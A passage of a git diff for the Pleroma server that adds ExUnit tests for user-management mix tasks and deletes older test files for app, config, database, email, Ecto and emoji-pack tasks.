+ + assert_received {:mix_shell, :info, [message]} + assert message =~ "Generated user invite token date limited" + end + + test "token is generated with max use" do + assert capture_io(fn -> + Mix.Tasks.Pleroma.User.run([ + "invite", + "--max-use", + "5" + ]) + end) + + assert_received {:mix_shell, :info, [message]} + assert message =~ "Generated user invite token reusable" + end + + test "token is generated with max use and expires date" do + assert capture_io(fn -> + Mix.Tasks.Pleroma.User.run([ + "invite", + "--max-use", + "5", + "--expires-at", + Date.to_string(Date.utc_today()) + ]) + end) + + assert_received {:mix_shell, :info, [message]} + assert message =~ "Generated user invite token reusable date limited" + end + end + + describe "running invites" do + test "invites are listed" do + {:ok, invite} = Pleroma.UserInviteToken.create_invite() + + {:ok, invite2} = + Pleroma.UserInviteToken.create_invite(%{expires_at: Date.utc_today(), max_use: 15}) + + # assert capture_io(fn -> + Mix.Tasks.Pleroma.User.run([ + "invites" + ]) + + # end) + + assert_received {:mix_shell, :info, [message]} + assert_received {:mix_shell, :info, [message2]} + assert_received {:mix_shell, :info, [message3]} + assert message =~ "Invites list:" + assert message2 =~ invite.invite_type + assert message3 =~ invite2.invite_type + end + end + + describe "running revoke_invite" do + test "invite is revoked" do + {:ok, invite} = Pleroma.UserInviteToken.create_invite(%{expires_at: Date.utc_today()}) + + assert capture_io(fn -> + Mix.Tasks.Pleroma.User.run([ + "revoke_invite", + invite.token + ]) + end) + + assert_received {:mix_shell, :info, [message]} + assert message =~ "Invite for token #{invite.token} was revoked." + end + + test "it prints an error message when invite is not exist" do + Mix.Tasks.Pleroma.User.run(["revoke_invite", "foo"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "No invite found" + end + end + + describe "running delete_activities" do + test "activities are deleted" do + %{nickname: nickname} = insert(:user) + + assert :ok == Mix.Tasks.Pleroma.User.run(["delete_activities", nickname]) + assert_received {:mix_shell, :info, [message]} + assert message == "User #{nickname} statuses deleted." + end + + test "it prints an error message when user is not exist" do + Mix.Tasks.Pleroma.User.run(["delete_activities", "foo"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "No local user" + end + end + + describe "running toggle_confirmed" do + test "user is confirmed" do + %{id: id, nickname: nickname} = insert(:user, confirmation_pending: false) + + assert :ok = Mix.Tasks.Pleroma.User.run(["toggle_confirmed", nickname]) + assert_received {:mix_shell, :info, [message]} + assert message == "#{nickname} needs confirmation." + + user = Repo.get(User, id) + assert user.confirmation_pending + assert user.confirmation_token + end + + test "user is not confirmed" do + %{id: id, nickname: nickname} = + insert(:user, confirmation_pending: true, confirmation_token: "some token") + + assert :ok = Mix.Tasks.Pleroma.User.run(["toggle_confirmed", nickname]) + assert_received {:mix_shell, :info, [message]} + assert message == "#{nickname} doesn't need confirmation." + + user = Repo.get(User, id) + refute user.confirmation_pending + refute user.confirmation_token + end + + test "it prints an error message when user is not exist" do + Mix.Tasks.Pleroma.User.run(["toggle_confirmed", "foo"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "No local user" + end + end + + describe "search" do + test "it returns users matching" do + user = insert(:user) + moon = insert(:user, nickname: "moon", name: "fediverse expert moon") + moot = insert(:user, nickname: "moot") + kawen = insert(:user, nickname: "kawen", name: "fediverse expert moon") + + {:ok, user} = User.follow(user, moon) + + assert [moon.id, kawen.id] == User.Search.search("moon") |> Enum.map(& &1.id) + + res = User.search("moo") |> Enum.map(& &1.id) + assert Enum.sort([moon.id, moot.id, kawen.id]) == Enum.sort(res) + + assert [kawen.id, moon.id] == User.Search.search("expert fediverse") |> Enum.map(& &1.id) + + assert [moon.id, kawen.id] == + User.Search.search("expert fediverse", for_user: user) |> Enum.map(& &1.id) + end + end + + describe "signing out" do + test "it deletes all user's tokens and authorizations" do + user = insert(:user) + insert(:oauth_token, user: user) + insert(:oauth_authorization, user: user) + + assert Repo.get_by(Token, user_id: user.id) + assert Repo.get_by(Authorization, user_id: user.id) + + :ok = Mix.Tasks.Pleroma.User.run(["sign_out", user.nickname]) + + refute Repo.get_by(Token, user_id: user.id) + refute Repo.get_by(Authorization, user_id: user.id) + end + + test "it prints an error message when user is not exist" do + Mix.Tasks.Pleroma.User.run(["sign_out", "foo"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "No local user" + end + end + + describe "tagging" do + test "it add tags to a user" do + user = insert(:user) + + :ok = Mix.Tasks.Pleroma.User.run(["tag", user.nickname, "pleroma"]) + + user = User.get_cached_by_nickname(user.nickname) + assert "pleroma" in user.tags + end + + test "it prints an error message when user is not exist" do + Mix.Tasks.Pleroma.User.run(["tag", "foo"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "Could not change user tags" + end + end + + describe "untagging" do + test "it deletes tags from a user" do + user = insert(:user, tags: ["pleroma"]) + assert "pleroma" in user.tags + + :ok = Mix.Tasks.Pleroma.User.run(["untag", user.nickname, "pleroma"]) + + user = User.get_cached_by_nickname(user.nickname) + assert Enum.empty?(user.tags) + end + + test "it prints an error message when user is not exist" do + Mix.Tasks.Pleroma.User.run(["untag", "foo"]) + + assert_received {:mix_shell, :error, [message]} + assert message =~ "Could not change user tags" + end + end + + describe "bulk confirm and unconfirm" do + test "confirm all" do + user1 = insert(:user, confirmation_pending: true) + user2 = insert(:user, confirmation_pending: true) + + assert user1.confirmation_pending + assert user2.confirmation_pending + + Mix.Tasks.Pleroma.User.run(["confirm_all"]) + + user1 = User.get_cached_by_nickname(user1.nickname) + user2 = User.get_cached_by_nickname(user2.nickname) + + refute user1.confirmation_pending + refute user2.confirmation_pending + end + + test "unconfirm all" do + user1 = insert(:user, confirmation_pending: false) + user2 = insert(:user, confirmation_pending: false) + admin = insert(:user, is_admin: true, confirmation_pending: false) + mod = insert(:user, is_moderator: true, confirmation_pending: false) + + refute user1.confirmation_pending + refute user2.confirmation_pending + + Mix.Tasks.Pleroma.User.run(["unconfirm_all"]) + + user1 = User.get_cached_by_nickname(user1.nickname) + user2 = User.get_cached_by_nickname(user2.nickname) + admin = User.get_cached_by_nickname(admin.nickname) + mod = User.get_cached_by_nickname(mod.nickname) + + assert user1.confirmation_pending + assert user2.confirmation_pending + refute admin.confirmation_pending + refute mod.confirmation_pending + end + end +end diff --git a/test/tasks/app_test.exs b/test/tasks/app_test.exs deleted file mode 100644 index 71a84ac8e..000000000 --- a/test/tasks/app_test.exs +++ /dev/null @@ -1,65 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.AppTest do - use Pleroma.DataCase, async: true - - setup_all do - Mix.shell(Mix.Shell.Process) - - on_exit(fn -> - Mix.shell(Mix.Shell.IO) - end) - end - - describe "creates new app" do - test "with default scopes" do - name = "Some name" - redirect = "https://example.com" - Mix.Tasks.Pleroma.App.run(["create", "-n", name, "-r", redirect]) - - assert_app(name, redirect, ["read", "write", "follow", "push"]) - end - - test "with custom scopes" do - name = "Another name" - redirect = "https://example.com" - - Mix.Tasks.Pleroma.App.run([ - "create", - "-n", - name, - "-r", - redirect, - "-s", - "read,write,follow,push,admin" - ]) - - assert_app(name, redirect, ["read", "write", "follow", "push", "admin"]) - end - end - - test "with errors" do - Mix.Tasks.Pleroma.App.run(["create"]) - {:mix_shell, :error, ["Creating failed:"]} - {:mix_shell, :error, ["name: can't be blank"]} - {:mix_shell, :error, ["redirect_uris: can't be blank"]} - end - - defp assert_app(name, redirect, scopes) do - app = Repo.get_by(Pleroma.Web.OAuth.App, client_name: name) - - assert_receive {:mix_shell, :info, [message]} - assert message == "#{name} successfully created:" - - assert_receive {:mix_shell, :info, [message]} - assert message == "App client_id: #{app.client_id}" - - assert_receive {:mix_shell, :info, [message]} - assert message == "App client_secret: #{app.client_secret}" - - assert app.scopes == scopes - assert app.redirect_uris == redirect - end -end diff --git a/test/tasks/config_test.exs b/test/tasks/config_test.exs deleted file mode 100644 index f36648829..000000000 --- a/test/tasks/config_test.exs +++ /dev/null @@ -1,189 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.ConfigTest do - use Pleroma.DataCase - - import Pleroma.Factory - - alias Pleroma.ConfigDB - alias Pleroma.Repo - - setup_all do - Mix.shell(Mix.Shell.Process) - - on_exit(fn -> - Mix.shell(Mix.Shell.IO) - Application.delete_env(:pleroma, :first_setting) - Application.delete_env(:pleroma, :second_setting) - end) - - :ok - end - - setup_all do: clear_config(:configurable_from_database, true) - - test "error if file with custom settings doesn't exist" do - Mix.Tasks.Pleroma.Config.migrate_to_db("config/not_existance_config_file.exs") - - assert_receive {:mix_shell, :info, - [ - "To migrate settings, you must define custom settings in config/not_existance_config_file.exs." - ]}, - 15 - end - - describe "migrate_to_db/1" do - setup do - initial = Application.get_env(:quack, :level) - on_exit(fn -> Application.put_env(:quack, :level, initial) end) - end - - @tag capture_log: true - test "config migration refused when deprecated settings are found" do - clear_config([:media_proxy, :whitelist], ["domain_without_scheme.com"]) - assert Repo.all(ConfigDB) == [] - - Mix.Tasks.Pleroma.Config.migrate_to_db("test/fixtures/config/temp.secret.exs") - - assert_received {:mix_shell, :error, [message]} - - assert message =~ - "Migration is not allowed until all deprecation warnings have been resolved." - end - - test "filtered settings are migrated to db" do - assert Repo.all(ConfigDB) == [] - - Mix.Tasks.Pleroma.Config.migrate_to_db("test/fixtures/config/temp.secret.exs") - - config1 = ConfigDB.get_by_params(%{group: ":pleroma", key: ":first_setting"}) - config2 = ConfigDB.get_by_params(%{group: ":pleroma", key: ":second_setting"}) - config3 = ConfigDB.get_by_params(%{group: ":quack", key: ":level"}) - refute ConfigDB.get_by_params(%{group: ":pleroma", key: "Pleroma.Repo"}) - refute ConfigDB.get_by_params(%{group: ":postgrex", key: ":json_library"}) - refute ConfigDB.get_by_params(%{group: ":pleroma", key: ":database"}) - - assert config1.value == [key: "value", key2: [Repo]] - assert config2.value == [key: "value2", key2: ["Activity"]] - assert config3.value == :info - end - - test "config table is truncated before migration" do - insert(:config, key: :first_setting, value: [key: "value", key2: ["Activity"]]) - assert Repo.aggregate(ConfigDB, :count, :id) == 1 - - Mix.Tasks.Pleroma.Config.migrate_to_db("test/fixtures/config/temp.secret.exs") - - config = ConfigDB.get_by_params(%{group: ":pleroma", key: ":first_setting"}) - assert config.value == [key: "value", key2: [Repo]] - end - end - - describe "with deletion temp file" do - setup do - temp_file = "config/temp.exported_from_db.secret.exs" - - on_exit(fn -> - :ok = File.rm(temp_file) - end) - - {:ok, temp_file: temp_file} - end - - test "settings are migrated to file and deleted from db", %{temp_file: temp_file} do - insert(:config, key: :setting_first, value: [key: "value", key2: ["Activity"]]) - insert(:config, key: :setting_second, value: [key: "value2", key2: [Repo]]) - insert(:config, group: :quack, key: :level, value: :info) - - Mix.Tasks.Pleroma.Config.run(["migrate_from_db", "--env", "temp", "-d"]) - - assert Repo.all(ConfigDB) == [] - - file = File.read!(temp_file) - assert file =~ "config :pleroma, :setting_first," - assert file =~ "config :pleroma, :setting_second," - assert file =~ "config :quack, :level, :info" - end - - test "load a settings with large values and pass to file", %{temp_file: temp_file} do - insert(:config, - key: :instance, - value: [ - name: "Pleroma", - email: "example@example.com", - notify_email: "noreply@example.com", - description: "A Pleroma instance, an alternative fediverse server", - limit: 5_000, - chat_limit: 5_000, - remote_limit: 100_000, - upload_limit: 16_000_000, - avatar_upload_limit: 2_000_000, - background_upload_limit: 4_000_000, - banner_upload_limit: 4_000_000, - poll_limits: %{ - max_options: 20, - max_option_chars: 200, - min_expiration: 0, - max_expiration: 365 * 24 * 60 * 60 - }, - registrations_open: true, - federating: true, - federation_incoming_replies_max_depth: 100, - federation_reachability_timeout_days: 7, - federation_publisher_modules: [Pleroma.Web.ActivityPub.Publisher], - allow_relay: true, - public: true, - quarantined_instances: [], - managed_config: true, - static_dir: "instance/static/", - allowed_post_formats: ["text/plain", "text/html", "text/markdown", "text/bbcode"], - autofollowed_nicknames: [], - max_pinned_statuses: 1, - attachment_links: false, - max_report_comment_size: 1000, - safe_dm_mentions: false, - healthcheck: false, - remote_post_retention_days: 90, - skip_thread_containment: true, - limit_to_local_content: :unauthenticated, - user_bio_length: 5000, - user_name_length: 100, - max_account_fields: 10, - max_remote_account_fields: 20, - account_field_name_length: 512, - account_field_value_length: 2048, - external_user_synchronization: true, - extended_nickname_format: true, - multi_factor_authentication: [ - totp: [ - digits: 6, - period: 30 - ], - backup_codes: [ - number: 2, - length: 6 - ] - ] - ] - ) - - Mix.Tasks.Pleroma.Config.run(["migrate_from_db", "--env", "temp", "-d"]) - - assert Repo.all(ConfigDB) == [] - assert File.exists?(temp_file) - {:ok, file} = File.read(temp_file) - - header = - if Code.ensure_loaded?(Config.Reader) do - "import Config" - else - "use Mix.Config" - end - - assert file == - "#{header}\n\nconfig :pleroma, :instance,\n name: \"Pleroma\",\n email: \"example@example.com\",\n notify_email: \"noreply@example.com\",\n description: \"A Pleroma instance, an alternative fediverse server\",\n limit: 5000,\n chat_limit: 5000,\n remote_limit: 100_000,\n upload_limit: 16_000_000,\n avatar_upload_limit: 2_000_000,\n background_upload_limit: 4_000_000,\n banner_upload_limit: 4_000_000,\n poll_limits: %{\n max_expiration: 31_536_000,\n max_option_chars: 200,\n max_options: 20,\n min_expiration: 0\n },\n registrations_open: true,\n federating: true,\n federation_incoming_replies_max_depth: 100,\n federation_reachability_timeout_days: 7,\n federation_publisher_modules: [Pleroma.Web.ActivityPub.Publisher],\n allow_relay: true,\n public: true,\n quarantined_instances: [],\n managed_config: true,\n static_dir: \"instance/static/\",\n allowed_post_formats: [\"text/plain\", \"text/html\", \"text/markdown\", \"text/bbcode\"],\n autofollowed_nicknames: [],\n max_pinned_statuses: 1,\n attachment_links: false,\n max_report_comment_size: 1000,\n safe_dm_mentions: false,\n healthcheck: false,\n remote_post_retention_days: 90,\n skip_thread_containment: true,\n limit_to_local_content: :unauthenticated,\n user_bio_length: 5000,\n user_name_length: 100,\n max_account_fields: 10,\n max_remote_account_fields: 20,\n account_field_name_length: 512,\n account_field_value_length: 2048,\n external_user_synchronization: true,\n extended_nickname_format: true,\n multi_factor_authentication: [\n totp: [digits: 6, period: 30],\n backup_codes: [number: 2, length: 6]\n ]\n" - end - end -end diff --git a/test/tasks/count_statuses_test.exs b/test/tasks/count_statuses_test.exs deleted file mode 100644 index c5cd16960..000000000 --- a/test/tasks/count_statuses_test.exs +++ /dev/null @@ -1,39 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.CountStatusesTest do - use Pleroma.DataCase - - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - import ExUnit.CaptureIO, only: [capture_io: 1] - import Pleroma.Factory - - test "counts statuses" do - user = insert(:user) - {:ok, _} = CommonAPI.post(user, %{status: "test"}) - {:ok, _} = CommonAPI.post(user, %{status: "test2"}) - - user2 = insert(:user) - {:ok, _} = CommonAPI.post(user2, %{status: "test3"}) - - user = refresh_record(user) - user2 = refresh_record(user2) - - assert %{note_count: 2} = user - assert %{note_count: 1} = user2 - - {:ok, user} = User.update_note_count(user, 0) - {:ok, user2} = User.update_note_count(user2, 0) - - assert %{note_count: 0} = user - assert %{note_count: 0} = user2 - - assert capture_io(fn -> Mix.Tasks.Pleroma.CountStatuses.run([]) end) == "Done\n" - - assert %{note_count: 2} = refresh_record(user) - assert %{note_count: 1} = refresh_record(user2) - end -end diff --git a/test/tasks/database_test.exs b/test/tasks/database_test.exs deleted file mode 100644 index 292a5ef5f..000000000 --- a/test/tasks/database_test.exs +++ /dev/null @@ -1,175 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.DatabaseTest do - use Pleroma.DataCase - use Oban.Testing, repo: Pleroma.Repo - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - setup_all do - Mix.shell(Mix.Shell.Process) - - on_exit(fn -> - Mix.shell(Mix.Shell.IO) - end) - - :ok - end - - describe "running remove_embedded_objects" do - test "it replaces objects with references" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "test"}) - new_data = Map.put(activity.data, "object", activity.object.data) - - {:ok, activity} = - activity - |> Activity.change(%{data: new_data}) - |> Repo.update() - - assert is_map(activity.data["object"]) - - Mix.Tasks.Pleroma.Database.run(["remove_embedded_objects"]) - - activity = Activity.get_by_id_with_object(activity.id) - assert is_binary(activity.data["object"]) - end - end - - describe "prune_objects" do - test "it prunes old objects from the database" do - insert(:note) - deadline = Pleroma.Config.get([:instance, :remote_post_retention_days]) + 1 - - date = - Timex.now() - |> Timex.shift(days: -deadline) - |> Timex.to_naive_datetime() - |> NaiveDateTime.truncate(:second) - - %{id: id} = - :note - |> insert() - |> Ecto.Changeset.change(%{inserted_at: date}) - |> Repo.update!() - - assert length(Repo.all(Object)) == 2 - - Mix.Tasks.Pleroma.Database.run(["prune_objects"]) - - assert length(Repo.all(Object)) == 1 - refute Object.get_by_id(id) - end - end - - describe "running update_users_following_followers_counts" do - test "following and followers count are updated" do - [user, user2] = insert_pair(:user) - {:ok, %User{} = user} = User.follow(user, user2) - - following = User.following(user) - - assert length(following) == 2 - assert user.follower_count == 0 - - {:ok, user} = - user - |> Ecto.Changeset.change(%{follower_count: 3}) - |> Repo.update() - - assert user.follower_count == 3 - - assert :ok == Mix.Tasks.Pleroma.Database.run(["update_users_following_followers_counts"]) - - user = User.get_by_id(user.id) - - assert length(User.following(user)) == 2 - assert user.follower_count == 0 - end - end - - describe "running fix_likes_collections" do - test "it turns OrderedCollection likes into empty arrays" do - [user, user2] = insert_pair(:user) - - {:ok, %{id: id, object: object}} = CommonAPI.post(user, %{status: "test"}) - {:ok, %{object: object2}} = CommonAPI.post(user, %{status: "test test"}) - - CommonAPI.favorite(user2, id) - - likes = %{ - "first" => - "http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes?page=1", - "id" => "http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes", - "totalItems" => 3, - "type" => "OrderedCollection" - } - - new_data = Map.put(object2.data, "likes", likes) - - object2 - |> Ecto.Changeset.change(%{data: new_data}) - |> Repo.update() - - assert length(Object.get_by_id(object.id).data["likes"]) == 1 - assert is_map(Object.get_by_id(object2.id).data["likes"]) - - assert :ok == Mix.Tasks.Pleroma.Database.run(["fix_likes_collections"]) - - assert length(Object.get_by_id(object.id).data["likes"]) == 1 - assert Enum.empty?(Object.get_by_id(object2.id).data["likes"]) - end - end - - describe "ensure_expiration" do - test "it adds to expiration old statuses" do - activity1 = insert(:note_activity) - - {:ok, inserted_at, 0} = DateTime.from_iso8601("2015-01-23T23:50:07Z") - activity2 = insert(:note_activity, %{inserted_at: inserted_at}) - - %{id: activity_id3} = insert(:note_activity) - - expires_at = DateTime.add(DateTime.utc_now(), 60 * 61) - - Pleroma.Workers.PurgeExpiredActivity.enqueue(%{ - activity_id: activity_id3, - expires_at: expires_at - }) - - Mix.Tasks.Pleroma.Database.run(["ensure_expiration"]) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: activity1.id}, - scheduled_at: - activity1.inserted_at - |> DateTime.from_naive!("Etc/UTC") - |> Timex.shift(days: 365) - ) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: activity2.id}, - scheduled_at: - activity2.inserted_at - |> DateTime.from_naive!("Etc/UTC") - |> Timex.shift(days: 365) - ) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: activity_id3}, - scheduled_at: expires_at - ) - end - end -end diff --git a/test/tasks/digest_test.exs b/test/tasks/digest_test.exs deleted file mode 100644 index 69dccb745..000000000 --- a/test/tasks/digest_test.exs +++ /dev/null @@ -1,60 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.DigestTest do - use Pleroma.DataCase - - import Pleroma.Factory - import Swoosh.TestAssertions - - alias Pleroma.Tests.ObanHelpers - alias Pleroma.Web.CommonAPI - - setup_all do - Mix.shell(Mix.Shell.Process) - - on_exit(fn -> - Mix.shell(Mix.Shell.IO) - end) - - :ok - end - - setup do: clear_config([Pleroma.Emails.Mailer, :enabled], true) - - describe "pleroma.digest test" do - test "Sends digest to the given user" do - user1 = insert(:user) - user2 = insert(:user) - - Enum.each(0..10, fn i -> - {:ok, _activity} = - CommonAPI.post(user1, %{ - status: "hey ##{i} @#{user2.nickname}!" - }) - end) - - yesterday = - NaiveDateTime.add( - NaiveDateTime.truncate(NaiveDateTime.utc_now(), :second), - -60 * 60 * 24, - :second - ) - - {:ok, yesterday_date} = Timex.format(yesterday, "%F", :strftime) - - :ok = Mix.Tasks.Pleroma.Digest.run(["test", user2.nickname, yesterday_date]) - - ObanHelpers.perform_all() - - assert_receive {:mix_shell, :info, [message]} - assert message =~ "Digest email have been sent" - - assert_email_sent( - to: {user2.name, user2.email}, - html_body: ~r/here is what you've missed!/i - ) - end - end -end diff --git a/test/tasks/ecto/ecto_test.exs b/test/tasks/ecto/ecto_test.exs deleted file mode 100644 index 3a028df83..000000000 --- a/test/tasks/ecto/ecto_test.exs +++ /dev/null @@ -1,15 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.EctoTest do - use ExUnit.Case, async: true - - test "raise on bad path" do - assert_raise RuntimeError, ~r/Could not find migrations directory/, fn -> - Mix.Tasks.Pleroma.Ecto.ensure_migrations_path(Pleroma.Repo, - migrations_path: "some-path" - ) - end - end -end diff --git a/test/tasks/ecto/migrate_test.exs b/test/tasks/ecto/migrate_test.exs deleted file mode 100644 index 43df176a1..000000000 --- a/test/tasks/ecto/migrate_test.exs +++ /dev/null @@ -1,20 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-onl - -defmodule Mix.Tasks.Pleroma.Ecto.MigrateTest do - use Pleroma.DataCase, async: true - import ExUnit.CaptureLog - require Logger - - test "ecto.migrate info message" do - level = Logger.level() - Logger.configure(level: :warn) - - assert capture_log(fn -> - Mix.Tasks.Pleroma.Ecto.Migrate.run() - end) =~ "[info] Already up" - - Logger.configure(level: level) - end -end diff --git a/test/tasks/ecto/rollback_test.exs b/test/tasks/ecto/rollback_test.exs deleted file mode 100644 index 0236e35d5..000000000 --- a/test/tasks/ecto/rollback_test.exs +++ /dev/null @@ -1,20 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.Ecto.RollbackTest do - use Pleroma.DataCase - import ExUnit.CaptureLog - require Logger - - test "ecto.rollback info message" do - level = Logger.level() - Logger.configure(level: :warn) - - assert capture_log(fn -> - Mix.Tasks.Pleroma.Ecto.Rollback.run() - end) =~ "[info] Rollback succesfully" - - Logger.configure(level: level) - end -end diff --git a/test/tasks/email_test.exs b/test/tasks/email_test.exs deleted file mode 100644 index 9523aefd8..000000000 --- a/test/tasks/email_test.exs +++ /dev/null @@ -1,127 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.EmailTest do - use Pleroma.DataCase - - import Swoosh.TestAssertions - - alias Pleroma.Config - alias Pleroma.Tests.ObanHelpers - - import Pleroma.Factory - - setup_all do - Mix.shell(Mix.Shell.Process) - - on_exit(fn -> - Mix.shell(Mix.Shell.IO) - end) - - :ok - end - - setup do: clear_config([Pleroma.Emails.Mailer, :enabled], true) - setup do: clear_config([:instance, :account_activation_required], true) - - describe "pleroma.email test" do - test "Sends test email with no given address" do - mail_to = Config.get([:instance, :email]) - - :ok = Mix.Tasks.Pleroma.Email.run(["test"]) - - ObanHelpers.perform_all() - - assert_receive {:mix_shell, :info, [message]} - assert message =~ "Test email has been sent" - - assert_email_sent( - to: mail_to, - html_body: ~r/a test email was requested./i - ) - end - - test "Sends test email with given address" do - mail_to = "hewwo@example.com" - - :ok = Mix.Tasks.Pleroma.Email.run(["test", "--to", mail_to]) - - ObanHelpers.perform_all() - - assert_receive {:mix_shell, :info, [message]} - assert message =~ "Test email has been sent" - - assert_email_sent( - to: mail_to, - html_body: ~r/a test email was requested./i - ) - end - - test "Sends confirmation emails" do - local_user1 = - insert(:user, %{ - confirmation_pending: true, - confirmation_token: "mytoken", - deactivated: false, - email: "local1@pleroma.com", - local: true - }) - - local_user2 = - insert(:user, %{ - confirmation_pending: true, - confirmation_token: "mytoken", - deactivated: false, - email: "local2@pleroma.com", - local: true - }) - - :ok = Mix.Tasks.Pleroma.Email.run(["resend_confirmation_emails"]) - - ObanHelpers.perform_all() - - assert_email_sent(to: {local_user1.name, local_user1.email}) - assert_email_sent(to: {local_user2.name, local_user2.email}) - end - - test "Does not send confirmation email to inappropriate users" do - # confirmed user - insert(:user, %{ - confirmation_pending: false, - confirmation_token: "mytoken", - deactivated: false, - email: "confirmed@pleroma.com", - local: true - }) - - # remote user - insert(:user, %{ - deactivated: false, - email: "remote@not-pleroma.com", - local: false - }) - - # deactivated user = - insert(:user, %{ - deactivated: true, - email: "deactivated@pleroma.com", - local: false - }) - - # invisible user - insert(:user, %{ - deactivated: false, - email: "invisible@pleroma.com", - local: true, - invisible: true - }) - - :ok = Mix.Tasks.Pleroma.Email.run(["resend_confirmation_emails"]) - - ObanHelpers.perform_all() - - refute_email_sent() - end - end -end diff --git a/test/tasks/emoji_test.exs b/test/tasks/emoji_test.exs deleted file mode 100644 index 0fb8603ac..000000000 --- a/test/tasks/emoji_test.exs +++ /dev/null @@ -1,243 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Mix.Tasks.Pleroma.EmojiTest do - use ExUnit.Case, async: true - - import ExUnit.CaptureIO - import Tesla.Mock - - alias Mix.Tasks.Pleroma.Emoji - - describe "ls-packs" do - test "with default manifest as url" do - mock(fn - %{ - method: :get, - url: "https://git.pleroma.social/pleroma/emoji-index/raw/master/index.json" - } -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/emoji/packs/default-manifest.json") - } - end) - - capture_io(fn -> Emoji.run(["ls-packs"]) end) =~ - "https://finland.fi/wp-content/uploads/2017/06/finland-emojis.zip" - end - - test "with passed manifest as file" do - capture_io(fn -> - Emoji.run(["ls-packs", "-m", "test/fixtures/emoji/packs/manifest.json"]) - end) =~ "https://git.pleroma.social/pleroma/emoji-index/raw/master/packs/blobs_gg.zip" - end - end - - describe "get-packs" do - test "download pack from default manifest" do - mock(fn - %{ - method: :get, - url: "https://git.pleroma.social/pleroma/emoji-index/raw/master/index.json" - } -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/emoji/packs/default-manifest.json") - } - - %{ - method: :get, - url: "https://finland.fi/wp-content/uploads/2017/06/finland-emojis.zip" - } -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/emoji/packs/blank.png.zip") - } - - %{ - method: :get, - url: "https://git.pleroma.social/pleroma/emoji-index/raw/master/finmoji.json" - } -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/emoji/packs/finmoji.json") - } - end) - - assert capture_io(fn -> Emoji.run(["get-packs", "finmoji"]) end) =~ "Writing pack.json for" - - emoji_path = - Path.join( - Pleroma.Config.get!([:instance, :static_dir]), - "emoji" - ) - - assert File.exists?(Path.join([emoji_path, "finmoji", "pack.json"])) - on_exit(fn -> File.rm_rf!("test/instance_static/emoji/finmoji") end) - end - - test "install local emoji pack" do - assert capture_io(fn -> - Emoji.run([ - "get-packs", - "local", - "--manifest", - "test/instance_static/local_pack/manifest.json" - ]) - end) =~ "Writing pack.json for" - - on_exit(fn -> File.rm_rf!("test/instance_static/emoji/local") end) - end - - test "pack not found" do - mock(fn - %{ - method: :get, - url: "https://git.pleroma.social/pleroma/emoji-index/raw/master/index.json" - } -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/emoji/packs/default-manifest.json") - } - end) - - assert capture_io(fn -> Emoji.run(["get-packs", "not_found"]) end) =~ - "No pack named \"not_found\" found" - end - - test "raise on bad sha256" do - mock(fn - %{ - method: :get, - url: "https://git.pleroma.social/pleroma/emoji-index/raw/master/packs/blobs_gg.zip" - } -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/emoji/packs/blank.png.zip") - } - end) - - assert_raise RuntimeError, ~r/^Bad SHA256 for blobs.gg/, fn -> - capture_io(fn -> - Emoji.run(["get-packs", "blobs.gg", "-m", "test/fixtures/emoji/packs/manifest.json"]) - end) - end - end - end - - describe "gen-pack" do - setup do - url = "https://finland.fi/wp-content/uploads/2017/06/finland-emojis.zip" - - mock(fn %{ - method: :get, - url: ^url - } -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/emoji/packs/blank.png.zip")} - end) - - {:ok, url: url} - end - - test "with default extensions", %{url: url} do - name = "pack1" - pack_json = "#{name}.json" - files_json = "#{name}_file.json" - refute File.exists?(pack_json) - refute File.exists?(files_json) - - captured = - capture_io(fn -> - Emoji.run([ - "gen-pack", - url, - "--name", - name, - "--license", - "license", - "--homepage", - "homepage", - "--description", 